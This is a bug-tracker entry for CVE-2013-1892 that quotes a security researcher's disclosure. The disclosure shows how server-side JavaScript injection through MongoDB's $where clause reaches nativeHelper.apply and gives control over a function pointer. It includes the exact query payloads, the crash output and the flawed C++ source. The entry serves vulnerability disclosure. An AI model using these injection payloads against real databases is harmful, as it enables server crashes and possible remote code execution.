Bug 927536 (CVE-2013-1892)

SCRT Information Security reports:

mongodb – SSJI to RCE
Posted on mars 24, 2013	 par agixid
Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :

> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})
error: {
 "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
 "code" : 10071
}
But let’s dig a little bit.

> run
function () {
    return nativeHelper.apply(run_, arguments);
}
So you can run the « run » function directly by calling nativeHelper.apply(run_,["uname","-a"]);
In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
       "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
       "code" : 10071
}
So what’s run_ ?

So what's "run_"
> run_
{ "x" : 135246144 }
An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 24 07:15:26 DBClientCursor::init call() failed
Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
The server crashed \o/ !

Let’s check the source code :
./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
        try {
            Convertor c(cx);
            NativeFunction func = reinterpret_cast(
                    static_cast( c.getNumber( obj , "x" ) ) );
            void* data = reinterpret_cast<void*>(
                    static_cast( c.getNumber( obj , "y" ) ) );
            verify( func );

            BSONObj a;
            if ( argc > 0 ) {
                BSONObjBuilder args;
                for ( uintN i = 0; i < argc; ++i ) {
                    c.append( args , args.numStr( i ) , argv[i] );
                }
                a = args.obj();
            }

            BSONObj out;
            try {
                out = func( a, data );
            }
            catch ( std::exception& e ) {
nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})

Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

External references:
http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/